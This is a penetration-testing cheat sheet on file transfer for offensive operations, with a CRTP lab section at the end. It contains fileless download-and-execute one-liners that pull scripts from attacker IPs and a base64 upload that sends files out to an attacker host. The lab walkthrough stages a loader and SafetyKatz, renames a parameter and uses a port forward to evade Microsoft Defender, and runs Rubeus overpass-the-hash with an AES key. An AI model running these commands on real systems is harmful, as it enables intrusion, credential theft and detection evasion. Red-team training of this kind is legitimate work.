File Transfers

Linux

Servers

# Python3
python3 -m http.server

# Python 2.7
python2.7 -m SimpleHTTPServer

# PHP
php -S 0.0.0.0:8000

# Ruby
ruby -run -ehttpd . -p8000

Utilities

Wget is a CLI utility for retrieving files from the web using HTTP, HTTPS, and FTP protocols. It supports recursive downloads, resume capabilities, and background operation. Offensive operators often use wget to fetch binaries or scripts from remote servers because it is widely available on Linux systems and can operate quietly in automated workflows.

wget http://10.10.10.10/nc.exe -O nc.exe

# Fileless execution (-q: quiet mode, -O: specifies the output, -O-: redirects output to stdout)
wget -qO- https://172.16.10.1/script.py | python3

Curl is a CLI tool and library for transferring data with URLs, supporting a wide range of protocols including HTTP, HTTPS, FTP, and SCP. It allows fine-grained control over headers, authentication, and request methods, making it useful for downloading files, interacting with APIs, or exfiltrating data in offensive operations.

curl http://10.10.10.10/script.sh -o /tmp/script.sh

# Fileless execution
curl https://172.16.10.1/script.sh | bash

SCP (Secure Copy) is a CLI utility for securely transferring files between hosts over SSH. It provides encryption for both authentication and data transfer, making it a reliable method to move files across remote systems in penetration testing or red team engagements while maintaining confidentiality and integrity.

scp user@172.16.10.10:/tmp/nc.exe ./nc.exe

/dev/tcp can also be used for fileless execution:

# Connect to the target webserver
exec 3<>/dev/tcp/10.10.10.32/80

# HTTP GET request
echo -e "GET /script.sh HTTP/1.1\n\n">&3

# Print the response
cat <&3

Windows

Servers

Create an SMB share:

# Create a new share
> New-SmbShare -Name "shared" -Path "C:\Users\x7331" -FullAccess "Everyone"

Name   ScopeName Path            Description
----   --------- ----            -----------
shared *         C:\Users\x7331

# Confirm the share is up
> Get-SmbShare

Name   ScopeName Path            Description
----   --------- ----            -----------
ADMIN$ *         C:\Windows      Remote Admin
C$     *         C:\             Default share
IPC$   *                         Remote IPC
shared *         C:\Users\x7331

Access it from the target via File Explorer at \\10.10.10.10\shared.

Downloads

wget http://10.10.10.10/nc.exe -O c:\windows\temp\nc.exe
(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/file1','c:\temp\file1')

Fileless execution:

(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/file1','c:\temp\file1') | IEX

Uploads

# encode file
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'c:\temp\file1' -Encoding Byte))
# upload file
Invoke-WebRequest -Uri http://10.10.10.10 -Method POST -Body $b64

Misc

b64

# encode file on Windows
[Convert]::ToBase64String((Get-Content -path "c:\temp\file1" -Encoding byte))
# copy the output and decode it on Linux
echo IyBDb3B5...YWxob3N0DQo= | base64 -d > file1

Linux

# starting an uploadserver
python3 -m uploadserver 
# uploading a file
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("file1","rb")})'
php -r '$file = file_get_contents("https://10.10.10.10/script.sh"); file_put_contents("script.sh",$file);'
perl -e 'use LWP::Simple; getstore("https://10.10.10.10/script.sh", "script.sh");'

Windows

# create a file called `wget.js`
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
# create a file called `wget.vbs`
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

CRTP

Transfer files from the attacking host to a compromised host (dcorp-ci):

iwr http://172.16.100.37/Loader.exe -OutFile c:\users\public\Loader.exe

Copy the file from dcorp-ci to the target host (dcorp-mgmt):

echo F | xcopy c:\users\public\Loader.exe \\dcorp-mgmt\C$\Users\Public\Loader.exe

If we run SafetyKatz via the Loader directly from the webserver, MD will complain about it because it includes an external IP address (attacker's IP):

winrs -r:dcorp-mgmt "cmd /c C:\users\public\Loader.exe -path http://172.16.100.37/SafetyKatz.exe sekurlsa::evasive-keys exit"

A workaround would be to do it via a port forward. Any connection made to dcorp-mgmt port 8080 will be forwarded to the attacker's machine port 80:

The sekurlsa parameter ekeys was renamed to evasive-keys to avoid MD flagging.

# Create a port forward from dcorp-mgmt to the attacker machine
$null | winrs -r:dcorp-mgmt "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.37"

# Download and execute binary via localhost
winrs -r:dcorp-mgmt "cmd /c C:\users\public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe sekurlsa::evasive-keys exit"

Now we can OtH:

Loader.exe -path Rubeus.exe -args asktgt /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:c:\windows\system32\cmd.exe /show /ptt

A new shell will spawn in the svcadmin context. This is a remote type 9 login, so the context will show only when accessing a remote host

> klist

Current LogonId is 0:0x6666f8a

Cached Tickets: (1)

#0>     Client: svcadmin @ DOLLARCORP.MONEYCORP.LOCAL
        Server: krbtgt/DOLLARCORP.MONEYCORP.LOCAL @ DOLLARCORP.MONEYCORP.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        
> whoami
dcorp\student337

> winrs -r:dcorp-dc cmd /c set username
USERNAME=svcadmin

# List running services and as who they run as
>winrs -r:dcorp-mgmt cmd /c wmic service get Name,State,StartName
MSSQLSERVER   dcorp\svcadmin   Running

>winrs -r:dcorp-mgmt cmd /c powershell "Get-WmiObject Win32_Service | Where-Object { $_.StartName -like '*svcadmin*' } | Select Name, StartName, State"


Name        StartName      State
----        ---------      -----
MSSQLSERVER dcorp\svcadmin Running

Last updated

Was this helpful?